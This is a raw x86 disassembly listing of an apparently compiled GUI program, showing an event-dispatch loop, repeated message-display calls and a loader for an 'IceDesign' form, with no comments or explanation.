jne 0x515775
mov dword [0x76036c], 0x1542
mov dword [esp], 4
call fcn.00566d16
push ebp
mov dword [esp + 8], 4
mov dword [esp + 4], 4
mov dword [esp], eax
call fcn.0055de36
sub esp, 0xc
mov dword [0x76036c], 0x1544
call fcn.0055dea5
jmp 0x514abb
mov dword [0x76036c], 0x153b
mov dword [esp], 1
jmp 0x515754
mov dword [0x76036c], 0x153c
mov dword [esp], 1
jmp 0x515754
mov dword [0x76036c], 0x153d
mov dword [esp], 3
jmp 0x515754
mov dword [0x76036c], 0x153e
mov dword [esp], 3
jmp 0x515754
mov dword [0x76036c], 0x153f
mov dword [esp], 2
jmp 0x515754
mov dword [0x76036c], 0x1540
mov dword [esp], 2
jmp 0x515754
mov dword [0x76036c], 0x1541
jmp 0x51574d
mov dword [0x76036c], 0x1549
mov dword [esp], 0x2f
call fcn.00542b42
push edi
mov dword [0x75fff0], eax
mov dword [0x76036c], 0x154a
mov dword [0x760070], 0xffff0001
mov dword [0x76036c], 0x154a
mov dword [0x76006c], 0xffff0001
mov dword [0x76036c], 0x154a
mov dword [0x75ffbc], 0xffff0001
mov dword [0x76036c], 0x154a
mov dword [0x75ffc0], 0xffff0001
mov dword [0x76036c], 0x154a
mov dword [0x75ffc4], 0xffff0001
mov dword [0x76036c], 0x154a
mov dword [0x75ffc8], 0xffff0001
mov dword [0x76036c], 0x154b
jmp 0x510f6f
mov dword [0x76036c], 0x154e
mov dword [esp], 0x30
call fcn.00542b42
push esi
mov dword [0x75fff0], eax
mov dword [0x76036c], 0x154f
mov dword [0x760070], 0xffff0001
mov dword [0x76036c], 0x154f
mov dword [0x76006c], 0xffff0001
mov dword [0x76036c], 0x154f
mov dword [0x75ffbc], 0xffff0001
mov dword [0x76036c], 0x154f
mov dword [0x75ffc0], 0xffff0001
mov dword [0x76036c], 0x154f
mov dword [0x75ffc4], 0xffff0001
mov dword [0x76036c], 0x154f
mov dword [0x75ffc8], 0xffff0001
mov dword [0x76036c], 0x1550
jmp 0x510f6f
mov dword [0x76036c], 0x1553
mov dword [esp], 0x31
call fcn.00542b42
push ecx
mov dword [0x7600a8], eax
mov dword [0x76036c], 0x1554
mov dword [esp], 0x33
call fcn.00542b42
push ebx
sub eax, 1
je 0x515a70
mov dword [0x76036c], 0x1556
mov dword [0x76036c], 0x1557
mov dword [0x75ffe0], 1
mov dword [0x76036c], 0x1558
mov dword [0x76036c], 0x1559
mov dword [0x760070], 0xffff0001
mov dword [0x76036c], 0x1559
mov dword [0x76006c], 0xffff0001
mov dword [0x76036c], 0x1559
mov dword [0x75ffbc], 0xffff0001
mov dword [0x76036c], 0x1559
mov dword [0x75ffc0], 0xffff0001
mov dword [0x76036c], 0x1559
mov dword [0x75ffc4], 0xffff0001
mov dword [0x76036c], 0x1559
mov dword [0x75ffc8], 0xffff0001
mov dword [0x76036c], 0x155a
xor esi, esi
mov dword [esp + 4], esi
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ca890
push edi
push edi
mov dword [0x76036c], 0x155b
mov dword [esp], 0x31
call fcn.005426ed
push ebp
jmp 0x510ce0
mov dword [0x76036c], 0x1555
mov dword [esp], 0x31
call fcn.00542b42
push edx
mov dword [0x75ffe0], eax
mov dword [0x76036c], 0x1556
jmp 0x5159b3
mov dword [0x76036c], 0x155e
mov dword [esp], 0x32
call fcn.00542b42
push ecx
mov dword [0x7600a8], eax
mov dword [0x76036c], 0x155f
mov dword [esp], 0x34
call fcn.00542b42
push ebx
sub eax, 1
je 0x515bb2
mov dword [0x76036c], 0x1561
mov dword [0x76036c], 0x1562
mov dword [0x75ffe0], 1
mov dword [0x76036c], 0x1563
mov dword [0x76036c], 0x1564
mov dword [0x760070], 0xffff0001
mov dword [0x76036c], 0x1564
mov dword [0x76006c], 0xffff0001
mov dword [0x76036c], 0x1564
mov dword [0x75ffbc], 0xffff0001
mov dword [0x76036c], 0x1564
mov dword [0x75ffc0], 0xffff0001
mov dword [0x76036c], 0x1564
mov dword [0x75ffc4], 0xffff0001
mov dword [0x76036c], 0x1564
mov dword [0x75ffc8], 0xffff0001
mov dword [0x76036c], 0x1565
xor edi, edi
mov dword [esp + 4], edi
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ca890
push ebp
push ebp
mov dword [0x76036c], 0x1566
mov dword [esp], 0x32
call fcn.005426ed
push eax
jmp 0x510ce0
mov dword [0x76036c], 0x1560
mov dword [esp], 0x32
call fcn.00542b42
push edx
mov dword [0x75ffe0], eax
mov dword [0x76036c], 0x1561
jmp 0x515af5
mov dword [0x76036c], 0x1569
mov dword [esp], 0x33
call fcn.00542b42
push esi
mov dword [0x75ffa0], eax
mov dword [0x76036c], 0x156a
sub eax, 1
je 0x515c3f
mov dword [0x76036c], 0x156c
mov dword [0x76036c], 0x156d
mov dword [0x75ffe0], 1
mov dword [0x76036c], 0x1579
mov dword [0x76036c], 0x157a
jmp 0x510f6f
mov dword [0x76036c], 0x156b
mov dword [esp], 0x31
call fcn.00542b42
push ebx
mov dword [0x75ffe0], eax
mov dword [0x76036c], 0x156c
jmp 0x515c26
mov dword [0x76036c], 0x157f
mov dword [esp], 0x32
call fcn.00542b42
push edx
mov dword [0x75ffe0], eax
mov dword [0x76036c], 0x1580
jmp 0x510ad9
mov dword [0x76036c], 0x158a
call fcn.0055bc7e
mov dword [0x76036c], 0x158d
mov dword [0x76036c], 0x158d
lea edx, [eax - 0x20]
cmp edx, 1
jbe 0x515dfe
mov dword [0x76036c], 0x15a6
mov dword [0x76036c], 0x15a6
lea edx, [eax - 0x22]
cmp edx, 1
jbe 0x5161b2
mov dword [0x76036c], 0x1623
mov dword [0x76036c], 0x1623
sub eax, 0x24
cmp eax, 1
ja 0x50de70
mov dword [0x76036c], 0x1624
call fcn.0055c0b0
mov dword [0x76036c], 0x1625
mov dword [0x76036c], 0x1625
cmp eax, 0x3b
je 0x517576
mov dword [0x76036c], 0x1632
mov dword [0x76036c], 0x1632
cmp eax, 0x3c
je 0x51767d
mov dword [0x76036c], 0x163c
mov dword [0x76036c], 0x163c
cmp eax, 0x3d
jne 0x50de70
mov dword [0x76036c], 0x163d
cmp dword [0x7602b4], 0
jne 0x517757
cmp dword [0x760130], 1
je 0x517775
mov dword [0x76036c], 0x1641
mov dword [0x76036c], 0x1642
cmp dword [0x75ff80], 0
jne 0x517793
mov dword [0x76036c], 0x1642
mov dword [0x76036c], 0x1643
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.005426db
push ebp
test eax, eax
jne 0x5177b9
mov dword [0x76036c], 0x1643
mov dword [0x76036c], 0x1644
call fcn.0041e970
mov dword [0x76036c], 0x1645
jmp 0x50de70
mov dword [0x76036c], 0x158e
call fcn.0055c0b0
mov dword [0x76036c], 0x158f
mov dword [0x76036c], 0x158f
cmp eax, 0x35
je 0x515ef8
mov dword [0x76036c], 0x1593
mov dword [0x76036c], 0x1593
cmp eax, 0x36
je 0x515f2b
mov dword [0x76036c], 0x1596
mov dword [0x76036c], 0x1596
cmp eax, 0x37
je 0x516088
mov dword [0x76036c], 0x1599
mov dword [0x76036c], 0x1599
cmp eax, 0x38
je 0x5160dc
mov dword [0x76036c], 0x159c
mov dword [0x76036c], 0x159c
cmp eax, 0x39
je 0x516130
mov dword [0x76036c], 0x159f
mov dword [0x76036c], 0x159f
cmp eax, 0x3a
jne 0x50de70
mov dword [0x76036c], 0x15a0
cmp dword [0x75ff80], 0
jne 0x51618c
mov dword [0x76036c], 0x15a0
mov dword [0x76036c], 0x15a1
mov dword [esp], 0x67845c
call fcn.0046e050
push ebx
jmp 0x50de70
mov dword [0x76036c], 0x1590
call fcn.00470620
test eax, eax
jne 0x515f1a
mov dword [0x76036c], 0x1592
jmp 0x50de70
mov dword [0x76036c], 0x1591
call fcn.004d4b70
jmp 0x515f0b
mov dword [0x76036c], 0x1594
cmp dword [0x75ff80], 0
jne 0x516036
mov dword [0x76036c], 0x1594
mov dword [0x76036c], 0x1595
xor ebx, ebx
mov dword [esp + 0x48], ebx
mov dword [0x76036c], 0x1000364
mov dword [0x76036c], 0x1000367
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov ebx, dword [0x760064]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00559220
push esi
push esi
add dword [0x765a20], 2
call fcn.005729f0
mov ebx, eax
call fcn.00572950
mov dword [esp + 0x10], eax
xor edi, edi
mov dword [esp + 0xc], edi
mov dword [esp + 8], str.IceDesign_Form__.icef_.icef
mov dword [esp + 4], ebx
mov dword [esp], str.Load_IceDesign_Form_GUI
call fcn.0051e6d6
sub esp, 0x14
call fcn.00572950
mov dword [esp + 4], eax
lea eax, [esp + 0x48]
mov dword [esp], eax
call fcn.00572aa0
push ebp
push ebp
mov dword [0x76036c], 0x1000368
mov eax, dword [esp + 0x48]
mov dword [esp + 4], eax
mov dword [esp], 0x7603dc
call fcn.005728e0
mov ebx, eax
test eax, eax
je 0x51605c
mov dword [0x76036c], 0x100036a
mov dword [0x76036c], 0x100036b
mov eax, dword [esp + 0x48]
mov dword [esp], eax
call fcn.00572ba0
push eax
jmp 0x50de70
mov dword [0x76036c], 0x1594
mov dword [esp + 4], 1
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.004c6f00
push eax
push eax
jmp 0x515f42
mov eax, dword [esp + 0x48]
mov dword [esp], eax
call fcn.00559056
push ecx
cmp ebx, eax
sbb ebx, edx
jge 0x516010
mov dword [0x76036c], 0x1000369
mov eax, dword [esp + 0x48]
mov dword [esp], eax
call fcn.004dc750
push eax
jmp 0x516010
mov dword [0x76036c], 0x1597
cmp dword [0x75ff80], 0
jne 0x5160b9
mov dword [0x76036c], 0x1597
mov dword [0x76036c], 0x1598
call fcn.00436720
jmp 0x50de70
mov dword [0x76036c], 0x1597
mov dword [esp + 4], 1
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.004c6f00
push eax
push eax
jmp 0x51609b
mov dword [0x76036c], 0x159a
cmp dword [0x75ff80], 0
jne 0x51610d
mov dword [0x76036c], 0x159a
mov dword [0x76036c], 0x159b
call fcn.004dbd70
jmp 0x50de70
mov dword [0x76036c], 0x159a
mov dword [esp + 4], 1
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.004c6f00
push eax
push eax
jmp 0x5160ef
mov dword [0x76036c], 0x159d
cmp dword [0x75ff80], 0
jne 0x516169
mov dword [0x76036c], 0x159d
mov dword [0x76036c], 0x159e
mov dword [esp], 0x66d814
call fcn.0046e050
push edi
jmp 0x50de70
mov dword [0x76036c], 0x159d
mov dword [esp + 4], 1
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.004c6f00
push ebp
push ebp
jmp 0x516143
mov dword [0x76036c], 0x15a0
mov dword [esp + 4], 1
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.004c6f00
push esi
push esi
jmp 0x515ed2
mov dword [0x76036c], 0x15a7
call fcn.0055c0b0
mov dword [0x76036c], 0x15a8
mov dword [0x76036c], 0x15a8
cmp eax, 0x3e
je 0x516361
mov dword [0x76036c], 0x15b1
mov dword [0x76036c], 0x15b1
cmp eax, 0x3f
je 0x51650c
mov dword [0x76036c], 0x15b6
mov dword [0x76036c], 0x15b6
cmp eax, 0x40
je 0x516543
mov dword [0x76036c], 0x15be
mov dword [0x76036c], 0x15be
cmp eax, 0x41
je 0x5166dc
mov dword [0x76036c], 0x15c4
mov dword [0x76036c], 0x15c4
cmp eax, 0x42
je 0x51675a
mov dword [0x76036c], 0x15cf
mov dword [0x76036c], 0x15cf
cmp eax, 0x43
je 0x51693a
mov dword [0x76036c], 0x15da
mov dword [0x76036c], 0x15da
cmp eax, 0x44
je 0x516b1a
mov dword [0x76036c], 0x15e5
mov dword [0x76036c], 0x15e5
cmp eax, 0x45
je 0x516cfa
mov dword [0x76036c], 0x15f0
mov dword [0x76036c], 0x15f0
cmp eax, 0x46
je 0x516eda
mov dword [0x76036c], 0x15fb
mov dword [0x76036c], 0x15fb
cmp eax, 0x47
je 0x5170ba
mov dword [0x76036c], 0x1606
mov dword [0x76036c], 0x1606
cmp eax, 0x48
je 0x51729a
mov dword [0x76036c], 0x1611
mov dword [0x76036c], 0x1611
cmp eax, 0x49
je 0x51747a
mov dword [0x76036c], 0x1618
mov dword [0x76036c], 0x1618
cmp eax, 0x4a
jne 0x50de70
mov dword [0x76036c], 0x1619
call fcn.00404d50
cmp eax, 2
jg 0x517508
mov dword [0x76036c], 0x161d
jmp 0x50de70
mov dword [0x76036c], 0x15a9
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.00408690
push ecx
test eax, eax
jne 0x51638c
mov dword [0x76036c], 0x15af
jmp 0x50de70
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.00406ba0
push edx
test eax, eax
jne 0x51637d
mov dword [0x76036c], 0x15aa
cmp dword [0x76009c], 8
jle 0x5164e8
mov dword [0x76036c], 0x15ac
mov dword [0x76036c], 0x15ad
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push ebp
push ebp
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x674b20
call fcn.0056fd80
push eax
push eax
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ecx
push ecx
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push esi
push esi
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ebp
push ebp
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x15ae
jmp 0x51637d
mov dword [0x76036c], 0x15ab
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004b55b0
push edi
mov dword [0x76036c], 0x15ac
jmp 0x5164d9
mov dword [0x76036c], 0x15b2
cmp dword [0x760068], 2
je 0x516534
mov dword [0x76036c], 0x15b3
xor ebx, ebx
mov dword [esp], ebx
call fcn.004b69c0
push esi
mov dword [0x76036c], 0x15b4
jmp 0x50de70
mov dword [0x76036c], 0x15b9
cmp dword [0x760008], 1
je 0x516565
mov dword [0x76036c], 0x15bc
jmp 0x50de70
mov dword [0x76036c], 0x15ba
mov dword [0x76036c], 0x400bac
mov dword [0x76036c], 0x400bad
mov dword [0x76036c], 0x400bae
add dword [0x760048], 1
mov dword [0x76036c], 0x400bb0
mov eax, dword [0x7603c4]
mov dword [esp], eax
call fcn.0056809e
push ecx
jmp 0x5165c2
mov dword [0x76036c], 0x400bb3
mov dword [0x76036c], 0x400bb4
mov eax, dword [0x7603c4]
mov dword [esp], eax
call fcn.005680b3
push edx
test eax, eax
je 0x516608
mov dword [0x76036c], 0x400bb0
mov dword [0x76036c], 0x400bb1
mov eax, dword [0x7603c8]
cmp byte [eax + 0x31], 1
jne 0x5165ae
mov dword [0x76036c], 0x400bb2
mov edx, dword [0x760048]
mov dword [eax + 0x32], edx
jmp 0x5165ae
mov dword [0x76036c], 0x400bb5
mov eax, dword [0x7603c4]
mov dword [esp], eax
call fcn.005680e7
push eax
mov dword [0x76036c], 0x400bb6
cmp dword [0x75ffe8], 0
jne 0x51668b
mov dword [0x76036c], 0x400bb8
mov dword [0x76036c], 0x400bb9
mov eax, dword [0x760098]
mov dword [esp], eax
call fcn.005426ed
push ebp
mov dword [0x76036c], 0x400bbb
mov dword [0x76036c], 0x400bbc
mov dword [0x76036c], 0x15bb
cmp dword [0x76007c], 0
je 0x5166b7
mov dword [0x76036c], 0x15bb
jmp 0x516556
mov dword [0x76036c], 0x400bb7
mov dword [esp + 8], 7
mov dword [esp + 4], 0x2e
xor eax, eax
mov dword [esp], eax
call fcn.00559ca7
sub esp, 0xc
jmp 0x516633
mov dword [0x76036c], 0x15bb
mov dword [0x76007c], 1
mov dword [0x76036c], 0x15bb
call fcn.0042a0e0
jmp 0x51667c
mov dword [0x76036c], 0x15bf
cmp dword [0x760008], 1
je 0x5166fe
mov dword [0x76036c], 0x15c2
jmp 0x50de70
mov dword [0x76036c], 0x15c0
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004b42a0
push edi
mov dword [0x76036c], 0x15c1
cmp dword [0x76007c], 0
je 0x516735
mov dword [0x76036c], 0x15c1
jmp 0x5166ef
mov dword [0x76036c], 0x15c1
mov dword [0x76007c], 1
mov dword [0x76036c], 0x15c1
call fcn.0042a0e0
jmp 0x516729
mov dword [0x76036c], 0x15c5
cmp dword [0x760008], 1
jne 0x5168b6
mov dword [0x76036c], 0x15c6
cmp dword [0x760050], 0
je 0x5168c5
mov dword [0x76036c], 0x15ca
mov dword [0x76036c], 0x15cb
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push esi
push esi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e6e0
call fcn.0056fd80
push edi
push edi
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebp
push ebp
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push eax
push eax
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x15cc
mov dword [0x76036c], 0x15cd
jmp 0x50de70
mov dword [0x76036c], 0x15c7
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004cc1b0
push ebx
mov dword [0x76036c], 0x15c8
cmp dword [0x76007c], 0
je 0x516915
mov dword [0x76036c], 0x15c8
mov dword [0x76036c], 0x15c9
call fcn.004b1b70
mov dword [0x76036c], 0x15ca
jmp 0x5168ac
mov dword [0x76036c], 0x15c8
mov dword [0x76007c], 1
mov dword [0x76036c], 0x15c8
call fcn.0042a0e0
jmp 0x5168f0
mov dword [0x76036c], 0x15d0
cmp dword [0x760008], 1
jne 0x516a96
mov dword [0x76036c], 0x15d1
cmp dword [0x760050], 0
je 0x516aa5
mov dword [0x76036c], 0x15d5
mov dword [0x76036c], 0x15d6
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e6e0
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push ebp
push ebp
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ecx
push ecx
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x15d7
mov dword [0x76036c], 0x15d8
jmp 0x50de70
mov dword [0x76036c], 0x15d2
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004cc380
push eax
mov dword [0x76036c], 0x15d3
cmp dword [0x76007c], 0
je 0x516af5
mov dword [0x76036c], 0x15d3
mov dword [0x76036c], 0x15d4
call fcn.004b1b70
mov dword [0x76036c], 0x15d5
jmp 0x516a8c
mov dword [0x76036c], 0x15d3
mov dword [0x76007c], 1
mov dword [0x76036c], 0x15d3
call fcn.0042a0e0
jmp 0x516ad0
mov dword [0x76036c], 0x15db
cmp dword [0x760008], 1
jne 0x516c76
mov dword [0x76036c], 0x15dc
cmp dword [0x760050], 0
je 0x516c85
mov dword [0x76036c], 0x15e0
mov dword [0x76036c], 0x15e1
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push ebp
push ebp
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e6e0
call fcn.0056fd80
push eax
push eax
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ecx
push ecx
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push esi
push esi
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ebp
push ebp
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x15e2
mov dword [0x76036c], 0x15e3
jmp 0x50de70
mov dword [0x76036c], 0x15dd
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004cc560
push edi
mov dword [0x76036c], 0x15de
cmp dword [0x76007c], 0
je 0x516cd5
mov dword [0x76036c], 0x15de
mov dword [0x76036c], 0x15df
call fcn.004b1b70
mov dword [0x76036c], 0x15e0
jmp 0x516c6c
mov dword [0x76036c], 0x15de
mov dword [0x76007c], 1
mov dword [0x76036c], 0x15de
call fcn.0042a0e0
jmp 0x516cb0
mov dword [0x76036c], 0x15e6
cmp dword [0x760008], 1
jne 0x516e56
mov dword [0x76036c], 0x15e7
cmp dword [0x760050], 0
je 0x516e65
mov dword [0x76036c], 0x15eb
mov dword [0x76036c], 0x15ec
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push esi
push esi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e6e0
call fcn.0056fd80
push edi
push edi
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebp
push ebp
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push eax
push eax
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x15ed
mov dword [0x76036c], 0x15ee
jmp 0x50de70
mov dword [0x76036c], 0x15e8
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004cc770
push ebx
mov dword [0x76036c], 0x15e9
cmp dword [0x76007c], 0
je 0x516eb5
mov dword [0x76036c], 0x15e9
mov dword [0x76036c], 0x15ea
call fcn.004b1b70
mov dword [0x76036c], 0x15eb
jmp 0x516e4c
mov dword [0x76036c], 0x15e9
mov dword [0x76007c], 1
mov dword [0x76036c], 0x15e9
call fcn.0042a0e0
jmp 0x516e90
mov dword [0x76036c], 0x15f1
cmp dword [0x760008], 1
jne 0x517036
mov dword [0x76036c], 0x15f2
cmp dword [0x760050], 0
je 0x517045
mov dword [0x76036c], 0x15f6
mov dword [0x76036c], 0x15f7
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e6e0
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push ebp
push ebp
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ecx
push ecx
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x15f8
mov dword [0x76036c], 0x15f9
jmp 0x50de70
mov dword [0x76036c], 0x15f3
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004cc950
push eax
mov dword [0x76036c], 0x15f4
cmp dword [0x76007c], 0
je 0x517095
mov dword [0x76036c], 0x15f4
mov dword [0x76036c], 0x15f5
call fcn.004b1b70
mov dword [0x76036c], 0x15f6
jmp 0x51702c
mov dword [0x76036c], 0x15f4
mov dword [0x76007c], 1
mov dword [0x76036c], 0x15f4
call fcn.0042a0e0
jmp 0x517070
mov dword [0x76036c], 0x15fc
cmp dword [0x760008], 1
jne 0x517216
mov dword [0x76036c], 0x15fd
cmp dword [0x760050], 0
je 0x517225
mov dword [0x76036c], 0x1601
mov dword [0x76036c], 0x1602
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push ebp
push ebp
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e6e0
call fcn.0056fd80
push eax
push eax
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ecx
push ecx
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
